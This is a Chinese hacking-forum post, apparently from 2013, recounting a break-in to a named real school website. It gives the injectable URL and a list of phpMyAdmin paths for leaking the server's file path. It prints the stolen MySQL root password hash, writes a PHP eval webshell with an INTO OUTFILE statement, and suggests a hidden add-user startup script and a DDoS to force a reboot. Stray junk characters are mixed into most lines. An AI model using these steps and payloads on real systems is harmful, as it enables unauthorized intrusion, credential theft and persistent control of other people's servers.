第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏, \# k; T% ^4 e2 y& |+ y6 x0 s3 C
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3 -0 -1 判断后确认存在注入！+ n# I# c m5 j3 I& |2 r6 r" ^
" g' V0 V0 x1 s8 f5 C% v" |! l0 x$ X9 {
# E# {/ D! ?' B' P5 R常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限 1 u% Z" ^ r0 l4 T5 @0 k
$ r0 p9 w* u! A2 ~. Y+ L那么想可以直接写入shell ，getshell有几个条件：
, S+ r7 Q9 J2 c3 M1 t1、知道站点物理路径 2、有足够大的权限 3、magic_quotes_gpc()=OFF
1 t+ j, O" Q7 v7 q' O5 O7 U9 O) c" |. R' k5 K0 E% g
试着爆绝对路径： , T' `$ U: N$ X! I. }6 R
1./phpMyAdmin/index.php?lang[]=1 . B! M8 R4 a& J$ m# N
2./phpMyAdmin/phpinfo.php
5 n2 w- r4 r" K, p& U8 z8 ^3./load_file()
* F o" H( o. ]. ]( c4./phpmyadmin/themes/darkblue_orange/layout.inc.php * l$ Y7 n! O& q5 h* V1 A
5./phpmyadmin/libraries/select_lang.lib.php 8 }' r3 K2 W+ Y$ ~( D
6./phpmyadmin/libraries/lect_lang.lib.php 2 T- @1 [+ o' U" j9 m. v
7./phpmyadmin/libraries/mcrypt.lib.php # h- J' E8 y4 }# q& V8 ]
8./phpmyadmin/libraries/export/xls.php
% |! p( V: m& h- }2 Y R- ?0 {- ~, y X
均不行........................... & K& o$ E2 E% O# H
% {( Q- K5 E' D
御剑扫到这个： http://www.dyyz.net.cn//phpinfo.php 获得网站路径：D:/www/phpinfo.php
' L2 u: {, j4 d. P7 x- d" B" l( P x5 H% d+ [9 Y! Q8 I" m
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin 7 d$ ^/ C0 R' \6 ?% G1 e9 }
. d) j4 D) V$ U/ q8 l7 f) j- I
默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
s8 s0 M. V& m9 x
! o+ a* U, y5 W B# Q- C& O7 @敏感东西： http://202.103.49.66/Admincp.php 社工进不去........... 3 t$ n3 k; v) r9 b" y
+ V1 n# n! H0 m: l/ r9 y: c$ {想想root还可以读，读到root密码进phpmyadmin 也可以拿shell . R, h( w+ W3 I: U9 ~
, T/ F6 O' a9 I: [http://www.dyyz.net.cn//phpinfo.php 泄露了D:\phpStudy\PHP5\php.ini
4 ~8 ]% o; Q5 H1 _8 D$ d# U7 E7 Q6 V/ z9 \
自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD 8 Z" K8 x+ b4 R. r$ ?! r7 S
% V$ b" M1 B' D6 F
成功读到root密码：
% l( s( ?& N3 b3 F* C. y, X( c0 r! x5 w
17---- r(0072)
& c. ~) ?4 l: t5 i$ ]18---- o(006f) 4 K" G% m2 m8 g: J
19---- o(006f) * @( V9 e. Y m; z" P) S! Q
20---- t(0074) 3 b7 \' o$ g# O8 M* ^
21---- *(002a)
& l- T* D ?% a+ r( k9 ]7 T( T22---- 8(0038)
# b5 |( j) u1 ~: x23---- 2(0032)
& K% S Z3 p) ^6 u% }4 P24---- E(0045) 7 d* X) p2 q$ u" K) o
25---- 1(0031)
' X- J g5 j i" I6 D" Y26---- C(0043)
& `, ?1 {- D& h, ]3 Y27---- 5(0035) 9 e/ X y; b: s7 y
28---- 8(0038)
/ c" X# F. ^8 H- W29---- 2(0032)
' V/ e: P" h X30---- 8(0038)
, J6 k3 u# y; k31---- A(0041)
7 m1 R* Z: c( `4 h. r0 d32---- 9(0039)
6 B, P6 G) @! N2 Z33---- B(0042)
! g3 D" O W$ X0 L5 D8 C34---- 5(0035) ) ?$ L* R: L# N1 j" y/ k3 T1 s
35---- 4(0034) * e) O j, D" X; T9 L
36---- 8(0038) # R: L+ O x* a, o5 N
37---- 6(0036) ! ` ^, S1 O9 K0 l, Z4 T7 ~6 S
38---- 4(0034) . t/ p/ b/ A; i% K& K+ k/ O
39---- 9(0039)
( u! u0 m& w& E40---- 1(0031) & X1 E! {* @3 |
41---- 1(0031) % o' `; Q9 X) m$ s: J2 H
42---- 5(0035) 6 U8 l7 F- R, l# r
43---- 3(0033)
' }8 S8 n9 ]0 x6 _- |& x44---- 5(0035)
5 j; J6 y7 m2 T5 s+ B/ x45---- 9(0039)
/ V; q% }" e7 y2 `3 ^- _46---- 8(0038) ( r0 b7 [) j2 ~8 r7 |0 j! ]
47---- F(0046) - ^ M7 p9 n; q1 W) P3 z
48---- F(0046) 6 ]% J" J+ U+ R8 ~) y
49---- 4(0034)
/ ~+ U/ \8 M2 U5 h5 X/ z7 p50---- F(0046)
5 ]' H& f- S% e+ T$ d8 n51---- 0(0030) ' j9 S, l. u; }: |
52---- 3(0033)
' ^9 K- d$ j- }+ t6 k3 ^2 X& ~53---- 2(0032) j. f/ j1 }2 E2 [, w( ?. Y
54---- A(0041) # X$ D9 m, w; K, E. u/ S& | E8 _$ x6 ]
55---- 4(0034)
! L" Y S' n, k% C! f- i56---- A(0041) $ n: m" I7 Q9 |
57---- B(0042) , S* e" q: ?! Q4 o$ V
58---- *(0044)
7 W# d% a9 t2 X( y* v8 k" v, I( [7 y59---- *(0035) ( c& ]% ]. |) r6 a! Q
60---- *(0041) ( k1 g' k G$ N: ?8 X6 X
61---- *0032)
1 K/ I! i" K& f+ q( {0 y0 i |5 E" w ?. r
解密后成功登陆phpmyamin
6 ~# Y6 B0 ?7 F2 X 8 J k+ S0 P S2 r$ O
+ ~* D9 W' u9 U F! I1 l
2 x/ I3 P4 r) J% {" s
$ ^0 f+ M9 ~+ q$ u P找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php' 0 L/ h# \2 S( h* E/ Q3 z. `; _6 c4 u
: n% b. X$ n" i' D, ~
成功执行，拿下shell，菜刀连接： 6 U8 O: }8 W8 h, k3 W
2 x- \2 c' v& V3 J- G6 b
服务器不支持asp,aspx,php提权无果...................
! K+ x4 u( ]0 ^# D- [% t3 Q# O2 ]% \2 W4 ?5 ^9 u
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里： : b# i: c! X' c# b! B& }
服务器上已经有个隐藏帐号了 ) T) ~/ ^+ H$ l H) F& m
别名 administrators5 e) N V. ~. {4 w4 `
注释 管理员对计算机/域有不受限制的完全访问权 % ~ f4 D j% l, K! p% M A
成员
1 ^2 {0 S& V6 o* S4 a-------------------------------------------------------------------------------/ k; ^% ?5 J9 ~3 X
admin& d6 C3 y. q4 t. h
Administrator
0 z! E5 k1 {& nslipper$
1 p! I; F% A2 @/ rsqluser( p- n: H) A+ u4 N* U7 r
命令成功完成。
9 Y6 w; k" P: r3 [) p
; ?" k0 l( Z1 ]' c) j5 w服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。
* i2 t5 q) a$ ]& h. n
1 y' a6 [) R) D4 o6 zddos服务器重启，不然就只能坐等服务器重启了...............................: a) U! a: n( [
; |7 @$ b0 \) k1 l
% Z' ]6 b) Y" P: v( p+ _: A8 O. b3 | | 
发表于 2013-1-11 21:32:15
收藏
支持
反对
发表于 2013-5-20 15:28:12
